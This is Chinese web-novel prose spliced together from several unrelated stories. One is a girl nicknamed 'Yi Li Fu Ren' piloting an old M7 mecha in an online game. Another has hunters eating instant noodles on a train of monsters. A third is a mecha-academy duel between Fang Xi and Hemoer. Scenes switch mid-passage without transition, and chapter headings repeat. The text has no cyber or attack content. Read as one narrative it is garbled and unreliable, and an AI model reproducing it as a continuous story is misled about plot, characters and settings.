谁能想到，杜鹏飞，反而成为了这一局比赛中，最先被打下场的人？ 至于杜鹏飞的队友，身为一名狙击手，那完全就是被狂暴战士压着欺负的“惨”。 “把他的机甲外壳拆了！”也不知道M7是怎么想的，反正当着所有人的面，小白一声暴呵，硬是像个“吃人狂魔”一般将人机甲驾驶舱的外壳给打裂，随后徒手就把机甲挡板给撑开了。 面对着暴露出来的驾驶舱，M7开着小炮台，极尽“羞辱”之色的biubiubiu，biu没了对方。 对此，GOO论坛里此刻皆是一片“咒骂”之色： “不是，飞翼机甲都有这蛮力了，为啥不干脆把人打下场，还要闹这么一出？” “缺德，缺大德啊。” “他们明明可以直接把人打下场的，却还偏要羞辱一下。” …… 不，不对，【以理服人】她们不是这样喜欢羞辱对手的人，叶司宇从这一个举动忽然意识到，M7之所以会这么做，恐怕是因为飞翼机甲的驾驶员【小白】的体力已经有些到极限。 是啊，真正算下来，飞翼机甲其实已经连打了将近七场比赛，而这七场比赛的对手，可都不是这么好应对的，康链、杜鹏飞……这可都是尖子生啊。 而更令他在意的是，虽然指挥是M7在进行，但攻击的节奏却是小白在掌控，只要小白能够锁死一个人，M7就可以及时的到位跟上。 “及时到位”这四个字虽然看起来简单，但真正想要做到，在战场上却是非常困难的，这意味着M7需要随时根据局势调整自身，甚至是在局势还没有发生改变前，就先对情况进行一个预判，这才能做到，次次都“及时到位”。 但是，这个小学生驾驶的，可是老古董“M7”啊！ 更令人发指的是，M7的十秒强火力推进布置，在擂台赛上不仅用上了，还用了两次，还都把对面给准确收割了。 要知道，就算是现有的“M7”驾驶员群体，能够在大型团队比赛中借由队友创造的机会，完成十秒强火力推进布置并收割掉对方的情况，都是极少数，所以才会导致“M7”的风评变成“要爆发没爆发，要生存没生存”。 可是，【以理服人】所使用的这台M7，不仅能够配合队友进攻，甚至还能自己创造出十秒的强火力收割机会。 可怕，这个小学生的战术操控能力简直可怕。 完全就像是……能够命令自己的对手往哪里行动一般。 看懂M7布局的叶司宇只觉得自己的后背都在流汗，忽然间就明白了自己老师的老师为什么会如此看重这名小学生。 先不说，这个小学生那堪比“神技”一样的侦查能力，如此冷静的临场决策能力再加上细腻的M7驾驶操控能力，还有这近乎变态的心理对战素质，逆风翻盘的同时还能反打。 这要是真成为了军校混战中的指挥，别说了，就算不是指挥，只是一名小队长，恐怕也足够让人头痛的了。 打又打不死，骂又骂不赢。 “幸好这家伙是十六区的。”那一刻，叶司宇只想哭出声，自己到底是来这人间凑数来了。 两大战神“林飙”和“聂海英”的双中型传感机甲作为本次擂台赛最后“攻擂者”上场的那一刻，GOO论坛里吃瓜群众们对于【以理服人】和【小白】两人的期待感已经拉到了最高点： “原本以为是新人，没想到打得这么猛。” “冲啊，我们的锁血怪。” “很好，相比上一场，M7的机甲完整度，终于，下降了1%，成为了22%，鼓掌。” “M7的驾驶员这是卡bug呢，这都多少次濒临解体了。” “奈何本人没文化，一句卧槽走天下，再送M7一个6！” …… 林飙和聂海英也是没有想到，这两个新人居然真的能够在这么低机甲完整度的情况下，还击败了杜鹏飞，尤其是那台M7，明明杜鹏飞上场前，她的机甲完整度只剩23%，如今一整局打完，她的机甲完整度，居然还能维持在22%。 这要不是亲眼所见，他们简直想报警。 杜鹏飞下了场就开始在小群里嚷嚷起对面“卑鄙小人”，嚷嚷完之后，又毫不客气的将康链揪了出来问：“这是你说的‘虐菜’？” 康链：……“我没说。” 战神与紫薇星的对决，叶司宇暗中搓了搓自己的手，不知道结果会如何，他能感受到自己因为期待与担忧和兴奋，甚至都开始整个人不受控制的颤抖。 叶司宇不知想到什么，迅速又圈了康链一次，询问他这次要不要开赌，就赌这一局谁能赢，顺便提醒了一下上一把赌输说自己要“倒立吃草”的那人，提醒他找个好日子“倒立吃草”。 康链：…… 他这可真是出门没看黄历——撞邪了啊。 M7的驾驶历史上，有人这么耍过M7么？哇，他真是活久见。 “你们的实力，值得我们夸赞。”林飙和聂海英一上场就开了公共语音，相比起杜鹏飞的大言不惭，这两人的态度，显得非常的谦逊。 “希望能和你们好好的打一场。”这句话说完，【小白】也难得开口了：“嗯，我也是这么想得。” 结果，十秒的准备时间结束后，【小白】和【以理服人】却很是干脆的，直接选择了“投降”。 原本已经猛得向着两人奔跑而去的林飙和聂海英：？？？ GOO论坛里的众人：？？？ 叶司宇小群里的一众人：？？？ 只听【小白】那边传来了杂音：“打什么打，我看你是真的不怕死。”“最后一场。”“最后个鬼，走！！！” 林飙和聂海英：…… GOO论坛里的众人：…… 叶司宇小群里的一众人：…… 很快，【以理服人】在公共频道进行了解释：“不好意思啊，小白被揪着上医院去了，哦，对了，我也被喊吃饭去了。” “下次再约。” 说完，【以理服人】和【小白】的头像同时黑了。 那一刻，沉默，沉默是今晚的康桥。 坐在方羲的林镜子、还有她前面的三名猎人，一脸茫然，逐个接过方羲疯狂递出的食物。 “吃吧吃吧，补充能量。”方羲大方地说。 姜渺手里拿着一个标着“特价”的自热饭盒。 秦淮月被分到五瓶快速能量营养液、三盒自热饭盒、两瓶矿泉水，因为她的能量消耗最多。 江簌一脸欲哭无泪，正在不要脸地乞求和宋白玉换一个口味，因为他拿到的是“樱花冬阴功味，加了超量香菜”大碗泡面。 疯苹果恍恍惚惚地想，她的好友血腥玛丽，其实并不会在皮箱里放很多东西，因为军用设备的储藏功能更方便，可以即存即拿。 但她深深地怀疑，收藏家使用血腥玛丽的皮箱。并不是因为它拥有【里世界】的属性，而是因为皮箱能储藏比军用设备更多数量的东西……收藏家难道是把整个家当都带进副本了？ “奇了怪了？”方羲纳闷道，“我的零食大礼包去哪了？” 而播音员，疲惫地把剩下的规则说完。 然后陷入死一般的沉默。 第 57 章 第 57 章 十分钟后，方羲寻找零食大礼包以失败告终。 她深深地叹了口气，啪地把皮箱合上，郁郁地拆开一碗番茄牛肉风味的泡面，十分不乐。 车厢自备饮水机，但玩家们完全不相信异端制造的生活用品。毕竟连他们屁股底下的座位，都是异端的一部分。 因为是收藏家亲口提出要求一批精英小队，所以他们在来之前，已经预想过这极有可能是一场艰难的战斗，所以提前在军用设备里存了足够的物资。 只是这个使用场景…是不是太悠闲了一点。 秦淮月伸出手，温和地说：“你的位置不太方便移动，我帮你倒水吧。” “哦好。”方羲也没纠结，不过她的目光在秦淮月同样佩戴着皮质手套的手上停留了一瞬。 车厢逐渐蔓延出一阵食物的香味，部分还没转过弯的密匙玩家，一边脸色茫然，一边忍不住疯狂吸溜收藏家赠予的特价泡面。 乔茜给主指挥发出了烟雾弹掩护的请求，同时标注好了点位，但奇怪的是，这几个点位却并不在她附近，主指挥原本想驳回，但被叶司宇劝了回去。 三分钟后，随着烟雾弹的出现，M7忽然开始以一种不可思议的速度直接在地图中高速行驶了起来，一连串的炸弹追着M7的屁股打，但M7却在一个华丽的大转弯之后，直接向着最北边的点位而去。 几个机甲手看着M7这个速度，都忍不住惊呼出声：“这特么开的是机甲么，根本就是亡灵特快吧。” 要知道，这个速度，M7只要重心稍微偏移一点就会是机毁人亡的下场，这个【以理服人】是真不差钱，一点也不心疼自己的机甲哇。 这个时候，乔茜立刻给主指挥标出了几个可以抢夺的点位，同时，也把点位分享给了叶司宇，叶司宇见状，又看了地图上乔茜的M7几眼，还是心一横跑去了乔茜特意标注出的西南点位。 果然，那个点位，没人，叶司宇顺利开了旗。 随后，再一次看到M7被打爆的消息，同时发送过来的，还有乔茜的私聊： “你说得对，M7确实是高高高手才会使用的机甲。” 叶司宇：…… 该说不说，这个家伙，无论是自身胆识，还是对自己与对机甲的认知，都是真的秀，胆识很大，其余二者，简直心里没有个ABC数。 最终，没有按耐住内心的好奇，叶司宇询问起乔茜，她学电控机甲多久了，怎么连一些基础知识都不知道。 谁料乔茜回得很干脆：“四个月。” 四……四个月？！！！ 四个月就敢开着电控机甲进比赛场里送人头？！！ “秀儿！”除了这个词，叶司宇再找不到任何其他的形容词，他见乔茜还在打字，立刻询问她为什么不说话，结果成功收获乔茜冷酷的两个字：“你猜。” 叶司宇：…… 猜你个鬼啊猜，指挥系的人都这么会搞人心态么？ 【叶家傻地主】：“我知道你是指挥系的学生。” 【叶家傻地主】：“放心，我不会告诉其他人。” 【叶家傻地主】：“但你练电控机甲送人头这种行为，是不太对的。” 【叶家傻地主】：“好在我嘴严，会帮你保守住秘密。” 【以理服人】：“……” 【以理服人】：“秀儿。” 看着乔茜的这两个字，叶司宇总觉得自己莫名就被这家伙给内涵了，他叹了口气，虽然在他单独拉的交流频道里，只有他一个人说话看上去会很像神经病，但叶司宇还是忍不住询问起乔茜，好好的指挥员，为什么会想要过来练电控机甲。 【以理服人】：“电控机甲救过我的命。” 叶司宇：…… 这是什么糊弄人的回答。 “你该去练传感机甲的。”叶司宇说完这句话后，久久都没有等到乔茜的回应，他正想再呼叫乔茜一次的时候，却发现，他已经被乔茜给拉黑了。 叶司宇：？？？ 不是吧，他哪句话说错了，就被这个气性大的家伙给拉黑了？ 比赛场上，M7依旧是死了活，活了死，甚至都有人于心不忍，让乔茜赶紧退出比赛，否则，单后续要支付给系统的维修费都将是一大笔钱。 然而乔茜却坚持战斗到了最后，等到比赛结束，系统结算的时候，乔茜才发现，M7这台机甲全程唯一的亮点，就是在最后开旗点位的时候，拉走了敌方一大批机甲，让他们整支小队，能够以高对方30积分的分差赢下比赛。 比赛结束后，叶司宇迅速切换窗口，想要找乔茜聊天，谁知对方却直接下线了，这让叶司宇有些丈二的和尚摸不着脑袋。 同一时间，看着乔茜打完了全场的项俞生和罗扬相互看了一眼，不知道该怎么安慰眼前明显情绪低落了下来的乔茜，刚刚叶司宇说的话，两个人也听到了，虽然不知道这个人是谁，但他们却都看到了，叶司宇才刚说完学传感机甲那句话，就被乔茜毫不客气拉黑了的操作。 于是，项俞生和罗扬一时间都襟声不敢说话了。 罗扬甚至绝望的想到，以乔茜的智商不可能猜不到他们推荐给她的机甲，就是故意不让她学好的，说不定会发脾气，然后，也像对待叶司宇一样，以后再也不和他说话了，呜呜呜呜。 忽然，乔茜站起了身，转头看向不敢说话的项俞生和罗扬，直言她写作业的时间到了，那她就先进屋？ 看乔茜的表情，似乎一点也没有因为M7的难驾驶而感到泄气。 “怎么了？”反倒是乔茜见两人表情不对，下意识询问了一句。 “你……不生气？”“是啊，M7挺那个的。” “哦。”乔茜点了点头，随后诡异的舒展了一个笑容表示没关系，她就喜欢看着一群人没脑子的围攻她，然后输掉比赛，这种感觉，挺不错的。 项俞生：…… 罗扬：…… 一时间，他们两人都分不清这句话到底是出自乔茜的真心，还是乔茜天然黑的嘲讽。 不过乔茜进到卧室之后，却是再也不忍不住的钻进被子里大笑出声，项俞生和罗扬的表情真的是太好笑了。 而且这一局比赛，M7的各项性能已经远超她的预期，加以时日，要是她的操作技术能上去，一定会成为战场上一个“大杀器”一般的存在。 这局比赛原本也很好笑，开局遛队友，后期遛对手，看着被人围追堵截的那个画面，好几次，乔茜都差点忍不住笑出声。 嗯，她担心自己再留在外面，会因为憋不住笑而被项俞生和罗扬看出破绽，那到时候这两人会不会以为她脑子不正常。 M7——果然是台神机啊，乔茜越发庆幸自己买下了它，只不过看着将近五十五万的维修费，乔茜还是莫名肉疼了一下下。 不过，对于初始就拥有五千万的她来说，这点小钱，随意造。 啊，人生啊，造作吧，想到这一点的乔茜，越发开心了起来。 此刻，偷偷躲在门外听墙角的项俞生和罗扬，听到乔茜房间里的动静，那好似压抑着的低沉似笑又似哭的声音，一时间让两人的良心倍感谴责。 转眼，就快到了升学考的时间。 这段时间，为了弥补自己星际基础知识的薄弱点，乔茜和罗小白都停下了对于机甲的训练，转而全力开始对知识点进行查缺补漏。 正式到了考试的这一天，乔茜发现，罗小白比她想像的还要紧张，明明已经不是第一次做试卷，但临到了要考试的当天，罗小白还是不受控制的身体颤抖，嘴唇发白，一副随时都要晕过去的模样。 “你在想什么？”为此，乔茜特意在进考场前，拉着罗小白在学校花坛一角坐下了。 罗小白此刻也说不清楚自己到底怎么了，他只知道自己心跳的很快，很茫然也很恐惧，但真要让他说出到底是在恐惧什么，他自己也不清楚，总之，就是意外的，非常紧张。 罗小白双手无措的拧着衣角，转头发现开考的第一道预备铃已经打响，从这道铃打响开始，四十分钟内他们如果进不到考场，就会被判失去资格。 他立刻看向了身边的乔茜，但乔茜却也眼神坚定地看向他。 “我……害怕。”罗小白忽然站起了身，牵起乔茜的手，就要硬拉着乔茜去往考试教室，乔茜却一反常态的拽住了他，认真道：“害怕什么？” 罗小白沉默了，时间就这样不受控制的一点一点流逝。 终于，像是彻底想明白的罗小白抬起头看向了乔茜：“茜茜，我知道你学得好。” “这次考试，你要是能先走，不必等我，我会追上你的。” 罗小白在担心，自己会因为这次考试，而与乔茜分属不同的年级。 谁料乔茜听完罗小白的话，却是一把走上前，像是好哥们一般将自己的手落在了罗小白的肩膀上：“担心什么呢，画图版块你学得比我好，谁先走，还不一定呢。” 罗小白听闻，紧张的心，莫名就落定了不少。 他嗯了一声后，又像是鼓励了乔茜一般多说了好几句话，这才和乔茜手牵手进入了考试教室。 等到考试全部结束后，乔茜还不等回到家里，就兴冲冲的重新上到了GOO。 一段时间没上线，乔茜发现来加自己ID好友的人，居然在好友申请界面都排成了一个长列。 “什么情况？” 乔茜顺着这些ID看过去：【大佬我错了】、【大佬理理我】、【大佬不要拉黑我】、【死也要说个明白】、【等你的第八天】…… 都是哪里来的沙雕？ 乔茜顺着一排看完后，原本想全部拒绝，但又觉得此刻如果拒绝，这些人还会来加她，索性通过了最上面一个ID名为【不要拉黑我】的家伙。 刚刚通过好友，对方就发来了私聊消息：“大佬是我，叶家傻地主。” “啊，我错了，不要拉黑我。” 乔茜：…… 哦对了，那天她嫌弃这个家伙吵着她，让她都没办法听清导弹的位置，就顺手拉黑了他，没想到，他居然这么执着。 【以理服人】：“这一长串的ID号，都是你？”光脑账户，应该是一人一户吧。 【不要拉黑我】：“嘿嘿嘿，让同学帮忙改的ID，花了不少钱呢。” 乔茜：…… 果然是个傻地主。 【不要拉黑我】：“对了，这段时间，你怎么都没有上线，是在忙活什么呢？” 【以理服人】：“小升初考试。” 【不要拉黑我】：…… “？？？” 【以理服人】：“顺利的话，应该可以跳级到初二。” 【不要拉黑我】：“……大佬真会开玩笑。” 【以理服人】：“谁和你开玩笑？” 【不要拉黑我】：“……？” 【以理服人】：“……？” 【以理服人】：“我真的是小学生。” 【不要拉黑我】：“……哈？！” “滋啦——” 空气飘着一股烤肉的香味。 方羲默默看了一眼瘦弱青年，它的全身被项链烫得惨兮兮，顷刻间沦为一块香喷喷的已烹饪的异端烤肉。 这可跟她没什么关系！方羲理所当然地想，然后忍不住用血液凝现出一把匕首。 这是烹饪过的血肉。 方羲可不擅长做饭，因为她讨厌任何一切形式的家务。 平时要么喝最便宜营养液，要么点外卖（自从在游戏暴富之后）。 反正猫猫应该会喜欢，这些血肉闻上去香味不错。 方羲漫不经心地想着，在五名队友震惊的眼神之下，动作残忍地割下异端一块块的血肉。 第 58 章 第 58 章 丝线在空气中缓缓流动。 猎人与造梦家们的灵感，在这一刻同步得到了提升，他们共享着方羲的视野，但不会窥见表层之下更细碎、更诡异的东西。 他们只是很普通地，看见座位上身形不一的白袍异端。 但这也有利于战斗。 秦淮月、姜渺、宋白玉、绪风，四名猎人继续斩杀白袍异端。 列车内部的空间实在有些狭小，不便于发挥实力，不过好在这只是一群低级懦弱的异端。 姜渺用长剑轻轻一挥，三个白袍的身体瞬间被斩成两半。半具尸体斜斜掉落在走廊，她直接一脚踢开。 一局比赛结束后，叶司宇主动加了对方的ID：以理服人。 嗯，一看就是很指挥系风格的ID，叶司宇加完对方后，无意间看到了对方的虚拟币数额，居然在千万级别，这想都不用想，肯定就是军校里的军校生啊，说不定还是名大三左右的学生。 要知道，GOO里没有充值渠道，这意味着千万级别的虚拟币都是靠着功勋和积分自己打出来的，如果这个人不在军校，放在外面肯定都是各类大主播，而大主播一般都喜欢用自己的机甲技术来圈粉丝，所以不存在不会用电控机甲的情况。 想到这里，叶司宇越发积极的询问起乔茜在那所军校上学。 谁知，对方只酷酷的回了他两个字：“你猜。” 叶司宇：…… 好吧，指挥系的，都比较，高冷。 【叶家傻地主】：“你如果想学电控机甲，我可以找人教你啊。” 【以理服人】：“不必。” 【叶家傻地主】：“好吧，那你打比赛还是要注意听从指挥。” 【以理服人】：“你指挥了？” 【叶家傻地主】：…… 有种莫名其妙就被对方给鄙视了的感觉？ 可巧项俞生在门外喊吃饭，乔茜就关了光脑，一开门正好看到了罗小白从她对门的屋子里出来，罗小白一身的汗，看样子，刚刚也是躲在房间里训练了自己。 果然，项俞生看到罗小白一身的汗就皱眉，告诫罗小白训练也要适度，既然有了训练计划，那自然要遵循计划，身体健康最重要，那是操控传感机甲的本钱。 乔茜听完项俞生的嘱咐，转头就看向了罗扬，询问罗扬什么时候教自己电控机甲的攻击，她去打了场10V10的比赛，除了运物资，其他什么都不会。 罗扬正在喝汤，听到乔茜这么问自己，差点没一口汤喷出来：“你去打比赛了？” 小白也第一时间看向了乔茜：“什么比赛？” 乔茜凑过去，给小白展示了GOO论坛里的比赛页面，小白当即幽怨地看向项俞生，项俞生却淡定地表示，他可没这么多虚拟币给小白造的。 “你没被举报？”罗扬都可以想像到那种鸡飞狗跳以及乔茜被痛骂的场面，要知道乔茜现在用的电控机甲那还是系统默认的初学者机甲。 乔茜认真得点了点头：“被举报了，还被扣了三万积分。” “额……”罗扬思考着该怎么问乔茜，有没有被其他人骂，结果乔茜顺势有些失落的来了一句：“还有人说想要教我怎么开电控机甲。” 啪地一声，闻言的罗扬一拍桌子就站了起来。 可恶，自家女儿被人嘲讽了一番不说，他一个殿堂级的机皇，居然连自家女儿都护不住，对方这都准备在他眼皮子底下偷人了，这是什么，这是耻辱啊。 罗扬当即决定，不就是电控机甲么，盘它！ 下午，他就好好教一教乔茜，怎么使用电控机甲的武器库，这可是比传感机甲都还要厉害的存在。 “好。”乔茜眼睛发亮的看向罗扬，项俞生刚想安慰一句，不要激动，小心上了乔茜的当，转头就发现，罗小白也安静的看向自己。 罗小白这个眼睛呀，深邃又平静，虽然没什么压力，却不自觉的不想要愧对他，项俞生索性闭上了自己的眼睛，老态龙钟的表示：“激将法，我不吃这一套。” 小白闻言委屈的低下头，随后告诉项俞生，其实，他也被骂了：“他们三招就秒了我，还说我是个善良的人。” 善良的人？分明是在嘲讽小白制服不了人。 淦！项俞生手里的水杯一放，所有人都不自觉看向了项俞生，项俞生则咳嗽了一声后又看了罗小白一眼，罗小白没说话，默默拿了片面包放到了自己的嘴边，仿佛在说“训练计划，我知道的。” 项俞生有些憋不住了，话到了嘴边轮了几圈后变成了：“格斗搏击，下午我教你，反正，现在你也能学了。” 这句话一说完，罗扬就忍不住低笑了起来，收获了项俞生刀子一样的眼神。 罗扬忍不住摇了摇头，与项俞生交换一个眼神后，彼此都从中看出了鄙视的意味： 你这个女儿（儿子）奴。 午休过后，罗扬慈爱的坐到了乔茜的身后，开始教乔茜怎么进行机甲变形，项俞生则把罗小白带到了户外进行基础格斗技术的教学。 恰巧这个时候门铃响了，罗扬以为是项俞生他们回来了，想都没想就开了门，谁知就见军区首长并几名指挥官、指导员等一起提着大包小包的东西站在门外。 双方一见面，都是一惊。 “这……是项俞生的家吧。”一名教导员说完不自觉后退了几步，看了看门牌号， “啊，对对对，那个，我来，正好，带着小白过来，和队长相互交流一下，那个，育娃经验。”罗扬可没忘记，现在自己可是罗小白的监护人，再加上军部一再劝告他们，一定要把好苗子给板正了，最好，还是不要让他们知道，这两颗好苗子已经越长越歪这件事。 “茜茜，来喊人。” 罗扬趁着人进去之前，拚命给乔茜使眼色，乔茜见状直接关掉了自己的光脑，随后乖巧的跟在了罗扬的身后，一一喊了人。 “咦，那你家队长呢？” “他带着小白哥哥出去锻炼身体了，毕竟，难得来上一趟。” 还不等罗扬说什么，乔茜就直接开口应付了过去，罗扬听乔茜这么说，心里一合计，这不正好了么，他可以光明正大的黏在乔茜的身边了。 这还没完，乔茜表示自己要出去叫项俞生他们回来，给首长他们行了个礼之后就乐呵呵的离开了，不用想，等到他们回来，肯定已经对好了口供。 不愧是指挥官的料子啊，这个反应程度，罗扬看乔茜，那是越看越喜欢。 殊不知，他这赞许的目光落到了其他人的眼里，就连首长都忍不住打趣，当初变换了他们的收养申请，倒是让罗扬少了一个乖女儿。 罗扬秉承着少说话少犯错的原则，一个劲儿的看着首长他们傻乐呵。 “额，其实我们来，也不是什么大事，就是这个家属补助下来了，所以呢，军部就出了个活动，让我们都来看看你们这些收养了战后星孤儿的战士，看看还有没有什么需要的，有要求，都可以提。” 首长边说着，边落了座，指导员见状也开始和罗扬拉起了闲话。 等到项俞生回来，首长立刻起身，这一次除了给项俞生带来家属补助外，还把他们的三等功勋章也一并拿来了，众人看着跟在项俞生身边的罗小白，许久不见，这一身的腱子肉，倒是长结识了不少。 与他形成鲜明对比的，是乔茜，看着还是一副随时会晕过去的小身板。 众人表面没有说什么，临要走了，负责十六区军部的指挥官特意把项俞生喊出了门，将人堵在楼道里后，神色严肃的询问起项俞生： “你们这是，私底下换孩子养了啊？” “没有啊，那不能啊。”老实说，项俞生说这话的时候，莫名有些心虚， “行了，你也不用多解释了，孩子现在还小，都是一张白纸，你们作为他们的引导者，可要，帮助他们涂上正确的颜色啊，思虑之深，看得之远，这才是为人父母。” 指挥官一席话说得项俞生直点头。 等到人走了，项俞生进了屋，忍不住开始思考起“为人父母”四个字，他见乔茜和罗小白都回屋学习了之后，特意把罗扬喊出了屋，询问起罗扬，就按照正常标准来说的话，乔茜，有没有成为机甲手战士的可能。 罗扬原本想说有，但见项俞生神色异常严肃也冷静了大半，仔细思考了好一阵儿后，罗扬才有些勉强的告诉项俞生，努努力的话，中游还是可能的，但是要想顶尖，就现在乔茜的状态与天赋而言，他还没有看出什么希望。 “乔茜未来，肯定是指挥系的人，只要一学起指挥系的课程，她就会发现，她根本没有那个余力去操作电控机甲，最终，还是会走上传感机甲的道路。” “那小白呢？”罗扬莫名有些不甘心， “他是在挣命。”项俞生一语道出现在罗小白强撑的状态。 他能够感受到罗小白的不甘心，但到底是战后星的身体素质，现在加紧训练的话，中上，应该也没什么问题，但项俞生依旧很担心，未来的训练量会是小白身体扛不住的，更何况，明明有轻松的路可以走，小白何必要那么固执的自讨苦吃？ 如果非要到了受伤才被迫转行的程度，倒不如……让他一开始就做个恶人，强迫着她们去接受现实。 罗扬看着项俞生沉默不语的模样，不自觉地，有些害怕：“队长，你现在在想什么？” 项俞生：“我想静静。” 罗扬：…… 两人就这样在屋外吹了大半天的冷风之后，项俞生率先站起身给罗扬下了逐客令，罗扬眼巴巴的看了项俞生好久，最终才深深叹了口气，点了头。 或许，分开一段时间，让孩子们认清现实，才是最能帮助到他们的。 两人一前一后向着屋内走去，忽然罗扬停下了脚步：“队长。” 项俞生下意识也跟着停下了脚步，疑惑地看向了罗扬， “我也不想当茜茜心里的坏人啊，不行，我做不到不教她。” 看着罗扬委屈的模样，项俞生只觉得自己真是两眼一抹黑，如果有可能的话，他也不想当这两孩子心里的坏人啊。 “我……”项俞生沉默了半晌，到底也没能把“这个坏人我来当”的话说出口，只是告诉罗扬，再想想，看看有没有什么办法，能够让这两孩子，知难而退。 乘务员想退回去车头，但身后的门，已经被三名同类轻轻合上，并且反锁。 斗篷女性站在走廊中间，微微抬首，露出一双纯黑色的双眼，勾唇，努力对它露出一个自以为善意的微笑。 “你是这座列车的乘务员吗？” “我听说，可以用百分之一的灵魂，和你聊天？还是别的什么？” “哦，如果我没理解错播音员的潜台词。我可以和你交换东西，对吧。” “——去取个【世间最公正的天秤】来吧。” “不知道你给出的砝码，什么时候能让天秤保持平衡呢？” 第 59 章 第 59 章 宇宙环游列车曾经以各种不同的形式出现在其他副本。 穿梭宇宙的星航，飞跃云端的天空船。 还有只需要支付千分之一的灵魂，就能搭乘的梦幻摩天轮，缓缓升入最高之处。思绪飘飞至最不可能的幻境，肉.体随之炸裂成一束午夜十二点的烟花。 【乘务员】是最善于人类言语的异端之一，最善于蛊惑人心、巧言令色的骗子。 虽然被播音员一号骂“怎么不多长点脑子”，但乘务员在绝大部分情况下，哪怕不更新大脑，也永远不会失手。 六只蚂蚁，虽然也都挂在食物排名上，但不必在意。 麻烦的是这名傀儡师。 “没事！” 赫摩尔抬眉看了眼她，仰着头，臭着脸回。 在教室里隔着人群，方羲还没看清他的样子，现在看他调整机甲，倒是被他的寸头吸引了注意。 这人绝对符合星际人对单兵的刻板印象。 身材高大，一件红色背心，手臂上肌肉紧实，背心到腰部收缩，隐约露出腹部肌肉线条。 然后一路收进黑色校服裤子里，画着烛荆府同色调的黑色腰带往腰间一扣，两个裤兜斜斜的打开，能看出他两手插兜的拽样。 方羲收回目光，看着他三两步爬进驾驶舱里，机甲启动，对方嚣张的话语传出来： “你体格不大，语气不小，我倒要看看，你有几分本事，敢大言不惭的……” “让我跪着听！” 赫摩尔晃了晃手腕。 方羲看着他大摇大摆朝自己走过来，提醒道：“武器。” 赫摩尔脚步一顿。 僵硬的转身，朝着操作台走过去。 每一个格斗场内，都安排有一个格斗台，格斗台上，能够监测出两方选手的承伤，有效攻击和能量波动。 方羲登上格斗台，只觉周围的场景一变。 赫摩尔选了一把光剑，是很经典的武器配置。 “喂”，他在对面朝方羲喝道： “等会，就把我当入学考核里的能量体，懂？我倒想知道，你凭什么破的纪录。” 方羲第一次听到有人有这种要求，“你确定。” “废话”，赫摩尔歪了歪头，一手拿光剑，另一只手做作的滑过剑锋，“我说，你不会怕了吧？” “满足你。” 方羲的声音和格斗台的造景提示同时响起。 “比赛开始。” 她在格斗台的另一边，赫摩尔正反手耍了个剑花，只见对手机甲膝盖一压，整个人弹跳起步，飞快朝他的方向纵身而来。 赫摩尔侧身闪避，银鞭如剑，刺破虚拟红土，再度被甩起时，散出漫天的红沙。 方羲挥鞭朝侧方一甩，眼看他要推动机甲腾空，另一只手快速握住□□，朝着上空位置，连发三炮。 赫摩尔眼神一变，已经驻空的机甲飞快旋身，一颗钢珠措不及防，敲打在他机甲的头部。 右侧脸上爆出火烈的炸响。 赫摩尔觉得脸上好像被人扇了一巴掌，但很快，呼啸的破空声，一道银龙，击电奔星般的，甩到他左脸。 强大的冲击直接把他抽向格斗台的另一边。 机甲和格斗台的金属地板撞的铮铮作响。 巨大的动静引的原本看戏的人都抖了抖。 华尔兹两兄弟见状，其中一人机甲脚步踩掉拍，直接一脚压在好兄弟脚背上。 “嗷，草，你踩我干嘛？” “不小心不小心”，另一人停下动作，觑了一眼79号格斗台，又继续和他装起样子来，“卧槽，赫摩尔被按在地上摩擦了。” “哪有这么容易，赫摩尔一时轻敌”，对面的人和赫摩尔也是老对手了，很清楚赫摩尔的特点，“你看着吧，她最好别让赫摩尔站起来，不然等会，她就知道，什么叫单兵系，新生首席。” “你这么自信？新生首席刚才可是挨了两巴掌，她下手真狠啊，直接打脸。” “赫摩尔越吃亏，爆发的实力就越强，你真以为他的精度测试和速度测试开玩笑啊，前十诶！” 被按在格斗台上的赫摩尔此刻，两侧脸颊发麻作痛，他舌尖抵了抵，眼底有些猩红。 “你行啊。” 他咬着牙，红眼看向方羲。 “还打不打？” 方羲侧头问。 赫摩尔从地上翻身起来，一手光剑，一手枪炮，此刻完全不复刚才耍帅时的散漫。 方羲注意到他的动作，机甲闪身后撤。 果不其然，赫摩尔起来后，□□口正对着她的机甲位置，飞快的射出几枚钢珠，爆破声响起。 方羲已经转移到了另一个位置。 “跑的还挺快。” 赫摩尔在驾驶舱内擦了擦自己被银鞭抽过的左脸，电一样的酥麻感还残留。 他心里憋着一口气，此刻绝不将方羲当成普通的星际游民对待，严阵以待的姿态，俨然认可了她的考核成绩。 机甲闪身，飞快的接近对手。 方羲的银鞭在面前挥动出一道道银色光线。 外面观战的人目不暇接，都要看不清银鞭的位置，但是迎面而来的黑色机甲却能在不到一秒时间中，精准躲开她的每一次进攻。 眼看和方羲拉近距离，赫摩尔□□向她身后射出，封住方羲后撤的路线，另一只手的光剑一旋，朝着机甲斜劈下来。 方羲这会才被打出来几分战意。 一个人的碾压没意思，两个人有来有回，才叫爽快。 “挺厉害啊”，她语气淡淡。 听起来特别像一种嘲讽。 至少赫摩尔感觉到是，光剑的力度更重几分。 “铮！” 光剑被拉长的银鞭阻挡在半路，距离方羲的银白机甲不过一尺距离。 银鞭尾部在空中绕了绕，缠住黑色机甲的膝关节。 “还有！”赫摩尔手腕用力下压，“更厉害的呢！” 他的力气恐怖得很，单兵系和他交手过的人，都不由得为方羲捏把汗。 “她得躲开，赫摩尔的力量测试很强的，新同学那个体格，啧！” “草，别啧了，你他妈没看到谁在用力？” 僵持了几秒，赫摩尔机甲手臂的零件开始颤动。 方羲在驾驶舱瞥了一眼，脑海里闪过杀招。 但随后想到这是同学，于是临出手，换成了狄谦今天刚教学的格斗招式。 方羲简短评价了一句：“力气挺大，但光有力气可没用。” 赫摩尔心里一跳，还没看出她的意图，就感觉到腹部被重物猛击。 那力道恨不得把他五脏六腑都打出来，疼痛感让大脑懵了一秒。 就这一秒，方羲收起枪炮，机甲手臂以一种奇特的扭曲姿势，穿过他的腋下，拖着黑色机甲的机甲手臂狠狠往外一掰。 在他机甲如同破布一样飞出去之前，卸下了他手中的光剑。 赫摩尔浑身上下像被打散，失重感让大脑有些充血。 他感觉到自己被踢飞到一半，脚上突然被什么东西拉扯着，让机甲的身影停在了半空。 “喂，没睡着吧？” 方羲礼貌性的侧头问了问，侮辱性极强，赫摩尔咬着牙：“草，你要打就打，少侮辱人！” 方羲淡淡的点头：“哦。” 话音刚落，她扯着银鞭，将巨型机甲在格斗台上旋转三百六十度，随后在周围人震惊的眼神中，机甲飞身而起，将赫摩尔狠狠往下一砸。 “嘭！” 巨大的响声和强烈的震感让其他格斗场的人，都不约而同双腿颤了颤。 